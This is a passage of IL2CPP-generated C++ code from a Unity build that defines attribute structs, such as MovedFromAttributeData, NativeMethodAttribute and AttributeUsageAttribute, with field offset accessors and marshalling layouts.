inline static int32_t get_offset_of__allInternalsVisible_1() { return static_cast<int32_t>(offsetof(InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C, ____allInternalsVisible_1)); }
inline bool get__allInternalsVisible_1() const { return ____allInternalsVisible_1; }
inline bool* get_address_of__allInternalsVisible_1() { return &____allInternalsVisible_1; }
inline void set__allInternalsVisible_1(bool value)
{
____allInternalsVisible_1 = value;
}
};
// UnityEngine.Scripting.APIUpdating.MovedFromAttributeData
struct MovedFromAttributeData_tD215FAE7C2C99058DABB245C5A5EC95AEF05533C
{
public:
// System.String UnityEngine.Scripting.APIUpdating.MovedFromAttributeData::className
String_t* ___className_0;
// System.String UnityEngine.Scripting.APIUpdating.MovedFromAttributeData::nameSpace
String_t* ___nameSpace_1;
// System.String UnityEngine.Scripting.APIUpdating.MovedFromAttributeData::assembly
String_t* ___assembly_2;
// System.Boolean UnityEngine.Scripting.APIUpdating.MovedFromAttributeData::classHasChanged
bool ___classHasChanged_3;
// System.Boolean UnityEngine.Scripting.APIUpdating.MovedFromAttributeData::nameSpaceHasChanged
bool ___nameSpaceHasChanged_4;
// System.Boolean UnityEngine.Scripting.APIUpdating.MovedFromAttributeData::assemblyHasChanged
bool ___assemblyHasChanged_5;
// System.Boolean UnityEngine.Scripting.APIUpdating.MovedFromAttributeData::autoUdpateAPI
bool ___autoUdpateAPI_6;
public:
inline static int32_t get_offset_of_className_0() { return static_cast<int32_t>(offsetof(MovedFromAttributeData_tD215FAE7C2C99058DABB245C5A5EC95AEF05533C, ___className_0)); }
inline String_t* get_className_0() const { return ___className_0; }
inline String_t** get_address_of_className_0() { return &___className_0; }
inline void set_className_0(String_t* value)
{
___className_0 = value;
Il2CppCodeGenWriteBarrier((void**)(&___className_0), (void*)value);
}
inline static int32_t get_offset_of_nameSpace_1() { return static_cast<int32_t>(offsetof(MovedFromAttributeData_tD215FAE7C2C99058DABB245C5A5EC95AEF05533C, ___nameSpace_1)); }
inline String_t* get_nameSpace_1() const { return ___nameSpace_1; }
inline String_t** get_address_of_nameSpace_1() { return &___nameSpace_1; }
inline void set_nameSpace_1(String_t* value)
{
___nameSpace_1 = value;
Il2CppCodeGenWriteBarrier((void**)(&___nameSpace_1), (void*)value);
}
inline static int32_t get_offset_of_assembly_2() { return static_cast<int32_t>(offsetof(MovedFromAttributeData_tD215FAE7C2C99058DABB245C5A5EC95AEF05533C, ___assembly_2)); }
inline String_t* get_assembly_2() const { return ___assembly_2; }
inline String_t** get_address_of_assembly_2() { return &___assembly_2; }
inline void set_assembly_2(String_t* value)
{
___assembly_2 = value;
Il2CppCodeGenWriteBarrier((void**)(&___assembly_2), (void*)value);
}
inline static int32_t get_offset_of_classHasChanged_3() { return static_cast<int32_t>(offsetof(MovedFromAttributeData_tD215FAE7C2C99058DABB245C5A5EC95AEF05533C, ___classHasChanged_3)); }
inline bool get_classHasChanged_3() const { return ___classHasChanged_3; }
inline bool* get_address_of_classHasChanged_3() { return &___classHasChanged_3; }
inline void set_classHasChanged_3(bool value)
{
___classHasChanged_3 = value;
}
inline static int32_t get_offset_of_nameSpaceHasChanged_4() { return static_cast<int32_t>(offsetof(MovedFromAttributeData_tD215FAE7C2C99058DABB245C5A5EC95AEF05533C, ___nameSpaceHasChanged_4)); }
inline bool get_nameSpaceHasChanged_4() const { return ___nameSpaceHasChanged_4; }
inline bool* get_address_of_nameSpaceHasChanged_4() { return &___nameSpaceHasChanged_4; }
inline void set_nameSpaceHasChanged_4(bool value)
{
___nameSpaceHasChanged_4 = value;
}
inline static int32_t get_offset_of_assemblyHasChanged_5() { return static_cast<int32_t>(offsetof(MovedFromAttributeData_tD215FAE7C2C99058DABB245C5A5EC95AEF05533C, ___assemblyHasChanged_5)); }
inline bool get_assemblyHasChanged_5() const { return ___assemblyHasChanged_5; }
inline bool* get_address_of_assemblyHasChanged_5() { return &___assemblyHasChanged_5; }
inline void set_assemblyHasChanged_5(bool value)
{
___assemblyHasChanged_5 = value;
}
inline static int32_t get_offset_of_autoUdpateAPI_6() { return static_cast<int32_t>(offsetof(MovedFromAttributeData_tD215FAE7C2C99058DABB245C5A5EC95AEF05533C, ___autoUdpateAPI_6)); }
inline bool get_autoUdpateAPI_6() const { return ___autoUdpateAPI_6; }
inline bool* get_address_of_autoUdpateAPI_6() { return &___autoUdpateAPI_6; }
inline void set_autoUdpateAPI_6(bool value)
{
___autoUdpateAPI_6 = value;
}
};
// Native definition for P/Invoke marshalling of UnityEngine.Scripting.APIUpdating.MovedFromAttributeData
struct MovedFromAttributeData_tD215FAE7C2C99058DABB245C5A5EC95AEF05533C_marshaled_pinvoke
{
char* ___className_0;
char* ___nameSpace_1;
char* ___assembly_2;
int32_t ___classHasChanged_3;
int32_t ___nameSpaceHasChanged_4;
int32_t ___assemblyHasChanged_5;
int32_t ___autoUdpateAPI_6;
};
// Native definition for COM marshalling of UnityEngine.Scripting.APIUpdating.MovedFromAttributeData
struct MovedFromAttributeData_tD215FAE7C2C99058DABB245C5A5EC95AEF05533C_marshaled_com
{
Il2CppChar* ___className_0;
Il2CppChar* ___nameSpace_1;
Il2CppChar* ___assembly_2;
int32_t ___classHasChanged_3;
int32_t ___nameSpaceHasChanged_4;
int32_t ___assemblyHasChanged_5;
int32_t ___autoUdpateAPI_6;
};
// UnityEngine.Bindings.NativeConditionalAttribute
struct NativeConditionalAttribute_t659349956F06958D4D05443BD06FF5CDC767C88B : public Attribute_t037CA9D9F3B742C063DB364D2EEBBF9FC5772C71
{
public:
// System.String UnityEngine.Bindings.NativeConditionalAttribute::<Condition>k__BackingField
String_t* ___U3CConditionU3Ek__BackingField_0;
// System.String UnityEngine.Bindings.NativeConditionalAttribute::<StubReturnStatement>k__BackingField
String_t* ___U3CStubReturnStatementU3Ek__BackingField_1;
// System.Boolean UnityEngine.Bindings.NativeConditionalAttribute::<Enabled>k__BackingField
bool ___U3CEnabledU3Ek__BackingField_2;
public:
inline static int32_t get_offset_of_U3CConditionU3Ek__BackingField_0() { return static_cast<int32_t>(offsetof(NativeConditionalAttribute_t659349956F06958D4D05443BD06FF5CDC767C88B, ___U3CConditionU3Ek__BackingField_0)); }
inline String_t* get_U3CConditionU3Ek__BackingField_0() const { return ___U3CConditionU3Ek__BackingField_0; }
inline String_t** get_address_of_U3CConditionU3Ek__BackingField_0() { return &___U3CConditionU3Ek__BackingField_0; }
inline void set_U3CConditionU3Ek__BackingField_0(String_t* value)
{
___U3CConditionU3Ek__BackingField_0 = value;
Il2CppCodeGenWriteBarrier((void**)(&___U3CConditionU3Ek__BackingField_0), (void*)value);
}
inline static int32_t get_offset_of_U3CStubReturnStatementU3Ek__BackingField_1() { return static_cast<int32_t>(offsetof(NativeConditionalAttribute_t659349956F06958D4D05443BD06FF5CDC767C88B, ___U3CStubReturnStatementU3Ek__BackingField_1)); }
inline String_t* get_U3CStubReturnStatementU3Ek__BackingField_1() const { return ___U3CStubReturnStatementU3Ek__BackingField_1; }
inline String_t** get_address_of_U3CStubReturnStatementU3Ek__BackingField_1() { return &___U3CStubReturnStatementU3Ek__BackingField_1; }
inline void set_U3CStubReturnStatementU3Ek__BackingField_1(String_t* value)
{
___U3CStubReturnStatementU3Ek__BackingField_1 = value;
Il2CppCodeGenWriteBarrier((void**)(&___U3CStubReturnStatementU3Ek__BackingField_1), (void*)value);
}
inline static int32_t get_offset_of_U3CEnabledU3Ek__BackingField_2() { return static_cast<int32_t>(offsetof(NativeConditionalAttribute_t659349956F06958D4D05443BD06FF5CDC767C88B, ___U3CEnabledU3Ek__BackingField_2)); }
inline bool get_U3CEnabledU3Ek__BackingField_2() const { return ___U3CEnabledU3Ek__BackingField_2; }
inline bool* get_address_of_U3CEnabledU3Ek__BackingField_2() { return &___U3CEnabledU3Ek__BackingField_2; }
inline void set_U3CEnabledU3Ek__BackingField_2(bool value)
{
___U3CEnabledU3Ek__BackingField_2 = value;
}
};
// UnityEngine.Bindings.NativeHeaderAttribute
struct NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C : public Attribute_t037CA9D9F3B742C063DB364D2EEBBF9FC5772C71
{
public:
// System.String UnityEngine.Bindings.NativeHeaderAttribute::<Header>k__BackingField
String_t* ___U3CHeaderU3Ek__BackingField_0;
public:
inline static int32_t get_offset_of_U3CHeaderU3Ek__BackingField_0() { return static_cast<int32_t>(offsetof(NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C, ___U3CHeaderU3Ek__BackingField_0)); }
inline String_t* get_U3CHeaderU3Ek__BackingField_0() const { return ___U3CHeaderU3Ek__BackingField_0; }
inline String_t** get_address_of_U3CHeaderU3Ek__BackingField_0() { return &___U3CHeaderU3Ek__BackingField_0; }
inline void set_U3CHeaderU3Ek__BackingField_0(String_t* value)
{
___U3CHeaderU3Ek__BackingField_0 = value;
Il2CppCodeGenWriteBarrier((void**)(&___U3CHeaderU3Ek__BackingField_0), (void*)value);
}
};
// UnityEngine.Bindings.NativeMethodAttribute
struct NativeMethodAttribute_t57F61ACA17BEC1260A06658ACD971B0009CC1866 : public Attribute_t037CA9D9F3B742C063DB364D2EEBBF9FC5772C71
{
public:
// System.String UnityEngine.Bindings.NativeMethodAttribute::<Name>k__BackingField
String_t* ___U3CNameU3Ek__BackingField_0;
// System.Boolean UnityEngine.Bindings.NativeMethodAttribute::<IsThreadSafe>k__BackingField
bool ___U3CIsThreadSafeU3Ek__BackingField_1;
// System.Boolean UnityEngine.Bindings.NativeMethodAttribute::<IsFreeFunction>k__BackingField
bool ___U3CIsFreeFunctionU3Ek__BackingField_2;
// System.Boolean UnityEngine.Bindings.NativeMethodAttribute::<ThrowsException>k__BackingField
bool ___U3CThrowsExceptionU3Ek__BackingField_3;
// System.Boolean UnityEngine.Bindings.NativeMethodAttribute::<HasExplicitThis>k__BackingField
bool ___U3CHasExplicitThisU3Ek__BackingField_4;
public:
inline static int32_t get_offset_of_U3CNameU3Ek__BackingField_0() { return static_cast<int32_t>(offsetof(NativeMethodAttribute_t57F61ACA17BEC1260A06658ACD971B0009CC1866, ___U3CNameU3Ek__BackingField_0)); }
inline String_t* get_U3CNameU3Ek__BackingField_0() const { return ___U3CNameU3Ek__BackingField_0; }
inline String_t** get_address_of_U3CNameU3Ek__BackingField_0() { return &___U3CNameU3Ek__BackingField_0; }
inline void set_U3CNameU3Ek__BackingField_0(String_t* value)
{
___U3CNameU3Ek__BackingField_0 = value;
Il2CppCodeGenWriteBarrier((void**)(&___U3CNameU3Ek__BackingField_0), (void*)value);
}
inline static int32_t get_offset_of_U3CIsThreadSafeU3Ek__BackingField_1() { return static_cast<int32_t>(offsetof(NativeMethodAttribute_t57F61ACA17BEC1260A06658ACD971B0009CC1866, ___U3CIsThreadSafeU3Ek__BackingField_1)); }
inline bool get_U3CIsThreadSafeU3Ek__BackingField_1() const { return ___U3CIsThreadSafeU3Ek__BackingField_1; }
inline bool* get_address_of_U3CIsThreadSafeU3Ek__BackingField_1() { return &___U3CIsThreadSafeU3Ek__BackingField_1; }
inline void set_U3CIsThreadSafeU3Ek__BackingField_1(bool value)
{
___U3CIsThreadSafeU3Ek__BackingField_1 = value;
}
inline static int32_t get_offset_of_U3CIsFreeFunctionU3Ek__BackingField_2() { return static_cast<int32_t>(offsetof(NativeMethodAttribute_t57F61ACA17BEC1260A06658ACD971B0009CC1866, ___U3CIsFreeFunctionU3Ek__BackingField_2)); }
inline bool get_U3CIsFreeFunctionU3Ek__BackingField_2() const { return ___U3CIsFreeFunctionU3Ek__BackingField_2; }
inline bool* get_address_of_U3CIsFreeFunctionU3Ek__BackingField_2() { return &___U3CIsFreeFunctionU3Ek__BackingField_2; }
inline void set_U3CIsFreeFunctionU3Ek__BackingField_2(bool value)
{
___U3CIsFreeFunctionU3Ek__BackingField_2 = value;
}
inline static int32_t get_offset_of_U3CThrowsExceptionU3Ek__BackingField_3() { return static_cast<int32_t>(offsetof(NativeMethodAttribute_t57F61ACA17BEC1260A06658ACD971B0009CC1866, ___U3CThrowsExceptionU3Ek__BackingField_3)); }
inline bool get_U3CThrowsExceptionU3Ek__BackingField_3() const { return ___U3CThrowsExceptionU3Ek__BackingField_3; }
inline bool* get_address_of_U3CThrowsExceptionU3Ek__BackingField_3() { return &___U3CThrowsExceptionU3Ek__BackingField_3; }
inline void set_U3CThrowsExceptionU3Ek__BackingField_3(bool value)
{
___U3CThrowsExceptionU3Ek__BackingField_3 = value;
}
inline static int32_t get_offset_of_U3CHasExplicitThisU3Ek__BackingField_4() { return static_cast<int32_t>(offsetof(NativeMethodAttribute_t57F61ACA17BEC1260A06658ACD971B0009CC1866, ___U3CHasExplicitThisU3Ek__BackingField_4)); }
inline bool get_U3CHasExplicitThisU3Ek__BackingField_4() const { return ___U3CHasExplicitThisU3Ek__BackingField_4; }
inline bool* get_address_of_U3CHasExplicitThisU3Ek__BackingField_4() { return &___U3CHasExplicitThisU3Ek__BackingField_4; }
inline void set_U3CHasExplicitThisU3Ek__BackingField_4(bool value)
{
___U3CHasExplicitThisU3Ek__BackingField_4 = value;
}
};
// UnityEngine.Bindings.NativeNameAttribute
struct NativeNameAttribute_tCEF3726869BD5ADC4600DDAC8DF0D4B5AAAF65F7 : public Attribute_t037CA9D9F3B742C063DB364D2EEBBF9FC5772C71
{
public:
// System.String UnityEngine.Bindings.NativeNameAttribute::<Name>k__BackingField
String_t* ___U3CNameU3Ek__BackingField_0;
public:
inline static int32_t get_offset_of_U3CNameU3Ek__BackingField_0() { return static_cast<int32_t>(offsetof(NativeNameAttribute_tCEF3726869BD5ADC4600DDAC8DF0D4B5AAAF65F7, ___U3CNameU3Ek__BackingField_0)); }
inline String_t* get_U3CNameU3Ek__BackingField_0() const { return ___U3CNameU3Ek__BackingField_0; }
inline String_t** get_address_of_U3CNameU3Ek__BackingField_0() { return &___U3CNameU3Ek__BackingField_0; }
inline void set_U3CNameU3Ek__BackingField_0(String_t* value)
{
___U3CNameU3Ek__BackingField_0 = value;
Il2CppCodeGenWriteBarrier((void**)(&___U3CNameU3Ek__BackingField_0), (void*)value);
}
};
// UnityEngine.Scripting.RequiredByNativeCodeAttribute
struct RequiredByNativeCodeAttribute_t855401D3C2EF3B44F4F1C3EE2DCD361CFC358D20 : public Attribute_t037CA9D9F3B742C063DB364D2EEBBF9FC5772C71
{
public:
// System.String UnityEngine.Scripting.RequiredByNativeCodeAttribute::<Name>k__BackingField
String_t* ___U3CNameU3Ek__BackingField_0;
// System.Boolean UnityEngine.Scripting.RequiredByNativeCodeAttribute::<Optional>k__BackingField
bool ___U3COptionalU3Ek__BackingField_1;
// System.Boolean UnityEngine.Scripting.RequiredByNativeCodeAttribute::<GenerateProxy>k__BackingField
bool ___U3CGenerateProxyU3Ek__BackingField_2;
public:
inline static int32_t get_offset_of_U3CNameU3Ek__BackingField_0() { return static_cast<int32_t>(offsetof(RequiredByNativeCodeAttribute_t855401D3C2EF3B44F4F1C3EE2DCD361CFC358D20, ___U3CNameU3Ek__BackingField_0)); }
inline String_t* get_U3CNameU3Ek__BackingField_0() const { return ___U3CNameU3Ek__BackingField_0; }
inline String_t** get_address_of_U3CNameU3Ek__BackingField_0() { return &___U3CNameU3Ek__BackingField_0; }
inline void set_U3CNameU3Ek__BackingField_0(String_t* value)
{
___U3CNameU3Ek__BackingField_0 = value;
Il2CppCodeGenWriteBarrier((void**)(&___U3CNameU3Ek__BackingField_0), (void*)value);
}
inline static int32_t get_offset_of_U3COptionalU3Ek__BackingField_1() { return static_cast<int32_t>(offsetof(RequiredByNativeCodeAttribute_t855401D3C2EF3B44F4F1C3EE2DCD361CFC358D20, ___U3COptionalU3Ek__BackingField_1)); }
inline bool get_U3COptionalU3Ek__BackingField_1() const { return ___U3COptionalU3Ek__BackingField_1; }
inline bool* get_address_of_U3COptionalU3Ek__BackingField_1() { return &___U3COptionalU3Ek__BackingField_1; }
inline void set_U3COptionalU3Ek__BackingField_1(bool value)
{
___U3COptionalU3Ek__BackingField_1 = value;
}
inline static int32_t get_offset_of_U3CGenerateProxyU3Ek__BackingField_2() { return static_cast<int32_t>(offsetof(RequiredByNativeCodeAttribute_t855401D3C2EF3B44F4F1C3EE2DCD361CFC358D20, ___U3CGenerateProxyU3Ek__BackingField_2)); }
inline bool get_U3CGenerateProxyU3Ek__BackingField_2() const { return ___U3CGenerateProxyU3Ek__BackingField_2; }
inline bool* get_address_of_U3CGenerateProxyU3Ek__BackingField_2() { return &___U3CGenerateProxyU3Ek__BackingField_2; }
inline void set_U3CGenerateProxyU3Ek__BackingField_2(bool value)
{
___U3CGenerateProxyU3Ek__BackingField_2 = value;
}
};
// System.Runtime.CompilerServices.RuntimeCompatibilityAttribute
struct RuntimeCompatibilityAttribute_tFF99AB2963098F9CBCD47A20D9FD3D51C17C1C80 : public Attribute_t037CA9D9F3B742C063DB364D2EEBBF9FC5772C71
{
public:
// System.Boolean System.Runtime.CompilerServices.RuntimeCompatibilityAttribute::m_wrapNonExceptionThrows
bool ___m_wrapNonExceptionThrows_0;
public:
inline static int32_t get_offset_of_m_wrapNonExceptionThrows_0() { return static_cast<int32_t>(offsetof(RuntimeCompatibilityAttribute_tFF99AB2963098F9CBCD47A20D9FD3D51C17C1C80, ___m_wrapNonExceptionThrows_0)); }
inline bool get_m_wrapNonExceptionThrows_0() const { return ___m_wrapNonExceptionThrows_0; }
inline bool* get_address_of_m_wrapNonExceptionThrows_0() { return &___m_wrapNonExceptionThrows_0; }
inline void set_m_wrapNonExceptionThrows_0(bool value)
{
___m_wrapNonExceptionThrows_0 = value;
}
};
// UnityEngine.UnityEngineModuleAssembly
struct UnityEngineModuleAssembly_t33CB058FDDDC458E384578147D6027BB1EC86CFF : public Attribute_t037CA9D9F3B742C063DB364D2EEBBF9FC5772C71
{
public:
public:
};
// UnityEngine.Scripting.UsedByNativeCodeAttribute
struct UsedByNativeCodeAttribute_t604CF4E57FB3E7BCCCF0871A9B526472B2CDCB92 : public Attribute_t037CA9D9F3B742C063DB364D2EEBBF9FC5772C71
{
public:
// System.String UnityEngine.Scripting.UsedByNativeCodeAttribute::<Name>k__BackingField
String_t* ___U3CNameU3Ek__BackingField_0;
public:
inline static int32_t get_offset_of_U3CNameU3Ek__BackingField_0() { return static_cast<int32_t>(offsetof(UsedByNativeCodeAttribute_t604CF4E57FB3E7BCCCF0871A9B526472B2CDCB92, ___U3CNameU3Ek__BackingField_0)); }
inline String_t* get_U3CNameU3Ek__BackingField_0() const { return ___U3CNameU3Ek__BackingField_0; }
inline String_t** get_address_of_U3CNameU3Ek__BackingField_0() { return &___U3CNameU3Ek__BackingField_0; }
inline void set_U3CNameU3Ek__BackingField_0(String_t* value)
{
___U3CNameU3Ek__BackingField_0 = value;
Il2CppCodeGenWriteBarrier((void**)(&___U3CNameU3Ek__BackingField_0), (void*)value);
}
};
// System.Void
struct Void_t700C6383A2A510C2CF4DD86DABD5CA9FF70ADAC5
{
public:
union
{
struct
{
};
uint8_t Void_t700C6383A2A510C2CF4DD86DABD5CA9FF70ADAC5__padding[1];
};
public:
};
// System.AttributeTargets
struct AttributeTargets_t5F71273DFE1D0CA9B8109F02A023A7DBA9BFC923
{
public:
// System.Int32 System.AttributeTargets::value__
int32_t ___value___2;
public:
inline static int32_t get_offset_of_value___2() { return static_cast<int32_t>(offsetof(AttributeTargets_t5F71273DFE1D0CA9B8109F02A023A7DBA9BFC923, ___value___2)); }
inline int32_t get_value___2() const { return ___value___2; }
inline int32_t* get_address_of_value___2() { return &___value___2; }
inline void set_value___2(int32_t value)
{
___value___2 = value;
}
};
// UnityEngine.Bindings.CodegenOptions
struct CodegenOptions_t2D0BDBDCEFA8EC8B714E6F9E84A55557343398FA
{
public:
// System.Int32 UnityEngine.Bindings.CodegenOptions::value__
int32_t ___value___2;
public:
inline static int32_t get_offset_of_value___2() { return static_cast<int32_t>(offsetof(CodegenOptions_t2D0BDBDCEFA8EC8B714E6F9E84A55557343398FA, ___value___2)); }
inline int32_t get_value___2() const { return ___value___2; }
inline int32_t* get_address_of_value___2() { return &___value___2; }
inline void set_value___2(int32_t value)
{
___value___2 = value;
}
};
// UnityEngine.Bindings.FreeFunctionAttribute
struct FreeFunctionAttribute_tBB3B939D760190FEC84762F1BA94B99672613D03 : public NativeMethodAttribute_t57F61ACA17BEC1260A06658ACD971B0009CC1866
{
public:
public:
};
// UnityEngine.Scripting.APIUpdating.MovedFromAttribute
struct MovedFromAttribute_t7DFA9E51FA9540D9D5EB8D41E363D2BC51F43BC8 : public Attribute_t037CA9D9F3B742C063DB364D2EEBBF9FC5772C71
{
public:
// UnityEngine.Scripting.APIUpdating.MovedFromAttributeData UnityEngine.Scripting.APIUpdating.MovedFromAttribute::data
MovedFromAttributeData_tD215FAE7C2C99058DABB245C5A5EC95AEF05533C ___data_0;
public:
inline static int32_t get_offset_of_data_0() { return static_cast<int32_t>(offsetof(MovedFromAttribute_t7DFA9E51FA9540D9D5EB8D41E363D2BC51F43BC8, ___data_0)); }
inline MovedFromAttributeData_tD215FAE7C2C99058DABB245C5A5EC95AEF05533C get_data_0() const { return ___data_0; }
inline MovedFromAttributeData_tD215FAE7C2C99058DABB245C5A5EC95AEF05533C * get_address_of_data_0() { return &___data_0; }
inline void set_data_0(MovedFromAttributeData_tD215FAE7C2C99058DABB245C5A5EC95AEF05533C value)
{
___data_0 = value;
Il2CppCodeGenWriteBarrier((void**)&(((&___data_0))->___className_0), (void*)NULL);
#if IL2CPP_ENABLE_STRICT_WRITE_BARRIERS
Il2CppCodeGenWriteBarrier((void**)&(((&___data_0))->___nameSpace_1), (void*)NULL);
#endif
#if IL2CPP_ENABLE_STRICT_WRITE_BARRIERS
Il2CppCodeGenWriteBarrier((void**)&(((&___data_0))->___assembly_2), (void*)NULL);
#endif
}
};
// UnityEngine.Bindings.StaticAccessorType
struct StaticAccessorType_tFA86A321ADAC16A48DF7FC82F8FBBE5F71D2DC4C
{
public:
// System.Int32 UnityEngine.Bindings.StaticAccessorType::value__
int32_t ___value___2;
public:
inline static int32_t get_offset_of_value___2() { return static_cast<int32_t>(offsetof(StaticAccessorType_tFA86A321ADAC16A48DF7FC82F8FBBE5F71D2DC4C, ___value___2)); }
inline int32_t get_value___2() const { return ___value___2; }
inline int32_t* get_address_of_value___2() { return &___value___2; }
inline void set_value___2(int32_t value)
{
___value___2 = value;
}
};
// System.Diagnostics.DebuggableAttribute/DebuggingModes
struct DebuggingModes_t279D5B9C012ABA935887CB73C5A63A1F46AF08A8
{
public:
// System.Int32 System.Diagnostics.DebuggableAttribute/DebuggingModes::value__
int32_t ___value___2;
public:
inline static int32_t get_offset_of_value___2() { return static_cast<int32_t>(offsetof(DebuggingModes_t279D5B9C012ABA935887CB73C5A63A1F46AF08A8, ___value___2)); }
inline int32_t get_value___2() const { return ___value___2; }
inline int32_t* get_address_of_value___2() { return &___value___2; }
inline void set_value___2(int32_t value)
{
___value___2 = value;
}
};
// System.AttributeUsageAttribute
struct AttributeUsageAttribute_tBB0BAAA82036E6FCDD80A688BBD039F6FFD8EA1C : public Attribute_t037CA9D9F3B742C063DB364D2EEBBF9FC5772C71
{
public:
// System.AttributeTargets System.AttributeUsageAttribute::m_attributeTarget
int32_t ___m_attributeTarget_0;
// System.Boolean System.AttributeUsageAttribute::m_allowMultiple
bool ___m_allowMultiple_1;
// System.Boolean System.AttributeUsageAttribute::m_inherited
bool ___m_inherited_2;
public:
inline static int32_t get_offset_of_m_attributeTarget_0() { return static_cast<int32_t>(offsetof(AttributeUsageAttribute_tBB0BAAA82036E6FCDD80A688BBD039F6FFD8EA1C, ___m_attributeTarget_0)); }
inline int32_t get_m_attributeTarget_0() const { return ___m_attributeTarget_0; }
inline int32_t* get_address_of_m_attributeTarget_0() { return &___m_attributeTarget_0; }
inline void set_m_attributeTarget_0(int32_t value)
{
___m_attributeTarget_0 = value;
}
inline static int32_t get_offset_of_m_allowMultiple_1() { return static_cast<int32_t>(offsetof(AttributeUsageAttribute_tBB0BAAA82036E6FCDD80A688BBD039F6FFD8EA1C, ___m_allowMultiple_1)); }
inline bool get_m_allowMultiple_1() const { return ___m_allowMultiple_1; }
inline bool* get_address_of_m_allowMultiple_1() { return &___m_allowMultiple_1; }
inline void set_m_allowMultiple_1(bool value)
{
___m_allowMultiple_1 = value;
}
inline static int32_t get_offset_of_m_inherited_2() { return static_cast<int32_t>(offsetof(AttributeUsageAttribute_tBB0BAAA82036E6FCDD80A688BBD039F6FFD8EA1C, ___m_inherited_2)); }
inline bool get_m_inherited_2() const { return ___m_inherited_2; }
inline bool* get_address_of_m_inherited_2() { return &___m_inherited_2; }
inline void set_m_inherited_2(bool value)
{
___m_inherited_2 = value;
}
};
struct AttributeUsageAttribute_tBB0BAAA82036E6FCDD80A688BBD039F6FFD8EA1C_StaticFields
{
public:
// System.AttributeUsageAttribute System.AttributeUsageAttribute::Default
AttributeUsageAttribute_tBB0BAAA82036E6FCDD80A688BBD039F6FFD8EA1C * ___Default_3;
public:
inline static int32_t get_offset_of_Default_3() { return static_cast<int32_t>(offsetof(AttributeUsageAttribute_tBB0BAAA82036E6FCDD80A688BBD039F6FFD8EA1C_StaticFields, ___Default_3)); }
inline AttributeUsageAttribute_tBB0BAAA82036E6FCDD80A688BBD039F6FFD8EA1C * get_Default_3() const { return ___Default_3; }
inline AttributeUsageAttribute_tBB0BAAA82036E6FCDD80A688BBD039F6FFD8EA1C ** get_address_of_Default_3() { return &___Default_3; }
inline void set_Default_3(AttributeUsageAttribute_tBB0BAAA82036E6FCDD80A688BBD039F6FFD8EA1C * value)
{
___Default_3 = value;
Il2CppCodeGenWriteBarrier((void**)(&___Default_3), (void*)value);
}
};
// System.Diagnostics.DebuggableAttribute
struct DebuggableAttribute_tA8054EBD0FC7511695D494B690B5771658E3191B : public Attribute_t037CA9D9F3B742C063DB364D2EEBBF9FC5772C71
{
public:
// System.Diagnostics.DebuggableAttribute/DebuggingModes System.Diagnostics.DebuggableAttribute::m_debuggingModes
int32_t ___m_debuggingModes_0;
public:
inline static int32_t get_offset_of_m_debuggingModes_0() { return static_cast<int32_t>(offsetof(DebuggableAttribute_tA8054EBD0FC7511695D494B690B5771658E3191B, ___m_debuggingModes_0)); }
inline int32_t get_m_debuggingModes_0() const { return ___m_debuggingModes_0; }
inline int32_t* get_address_of_m_debuggingModes_0() { return &___m_debuggingModes_0; }
inline void set_m_debuggingModes_0(int32_t value)
{
___m_debuggingModes_0 = value;
}
};
// UnityEngine.Bindings.NativeTypeAttribute
struct NativeTypeAttribute_t7A71B541B18D0BA1A9889E05D36CAC56CF9F48D9 : public Attribute_t037CA9D9F3B742C063DB364D2EEBBF9FC5772C71
{
public:
// System.String UnityEngine.Bindings.NativeTypeAttribute::<Header>k__BackingField
String_t* ___U3CHeaderU3Ek__BackingField_0;
// System.String UnityEngine.Bindings.NativeTypeAttribute::<IntermediateScriptingStructName>k__BackingField
String_t* ___U3CIntermediateScriptingStructNameU3Ek__BackingField_1;
// UnityEngine.Bindings.CodegenOptions UnityEngine.Bindings.NativeTypeAttribute::<CodegenOptions>k__BackingField
int32_t ___U3CCodegenOptionsU3Ek__BackingField_2;
public:
inline static int32_t get_offset_of_U3CHeaderU3Ek__BackingField_0() { return static_cast<int32_t>(offsetof(NativeTypeAttribute_t7A71B541B18D0BA1A9889E05D36CAC56CF9F48D9, ___U3CHeaderU3Ek__BackingField_0)); }
inline String_t* get_U3CHeaderU3Ek__BackingField_0() const { return ___U3CHeaderU3Ek__BackingField_0; }
inline String_t** get_address_of_U3CHeaderU3Ek__BackingField_0() { return &___U3CHeaderU3Ek__BackingField_0; }
inline void set_U3CHeaderU3Ek__BackingField_0(String_t* value)
{
___U3CHeaderU3Ek__BackingField_0 = value;
Il2CppCodeGenWriteBarrier((void**)(&___U3CHeaderU3Ek__BackingField_0), (void*)value);
}
inline static int32_t get_offset_of_U3CIntermediateScriptingStructNameU3Ek__BackingField_1() { return static_cast<int32_t>(offsetof(NativeTypeAttribute_t7A71B541B18D0BA1A9889E05D36CAC56CF9F48D9, ___U3CIntermediateScriptingStructNameU3Ek__BackingField_1)); }
inline String_t* get_U3CIntermediateScriptingStructNameU3Ek__BackingField_1() const { return ___U3CIntermediateScriptingStructNameU3Ek__BackingField_1; }
inline String_t** get_address_of_U3CIntermediateScriptingStructNameU3Ek__BackingField_1() { return &___U3CIntermediateScriptingStructNameU3Ek__BackingField_1; }
inline void set_U3CIntermediateScriptingStructNameU3Ek__BackingField_1(String_t* value)
{
___U3CIntermediateScriptingStructNameU3Ek__BackingField_1 = value;
Il2CppCodeGenWriteBarrier((void**)(&___U3CIntermediateScriptingStructNameU3Ek__BackingField_1), (void*)value);
}
inline static int32_t get_offset_of_U3CCodegenOptionsU3Ek__BackingField_2() { return static_cast<int32_t>(offsetof(NativeTypeAttribute_t7A71B541B18D0BA1A9889E05D36CAC56CF9F48D9, ___U3CCodegenOptionsU3Ek__BackingField_2)); }
inline int32_t get_U3CCodegenOptionsU3Ek__BackingField_2() const { return ___U3CCodegenOptionsU3Ek__BackingField_2; }
inline int32_t* get_address_of_U3CCodegenOptionsU3Ek__BackingField_2() { return &___U3CCodegenOptionsU3Ek__BackingField_2; }
inline void set_U3CCodegenOptionsU3Ek__BackingField_2(int32_t value)
{
___U3CCodegenOptionsU3Ek__BackingField_2 = value;
}
};
// UnityEngine.Bindings.StaticAccessorAttribute
struct StaticAccessorAttribute_t7A16FF0FA31E38510BBC8BCA5AE56C3E67D5A2BA : public Attribute_t037CA9D9F3B742C063DB364D2EEBBF9FC5772C71
{
public:
// System.String UnityEngine.Bindings.StaticAccessorAttribute::<Name>k__BackingField
String_t* ___U3CNameU3Ek__BackingField_0;
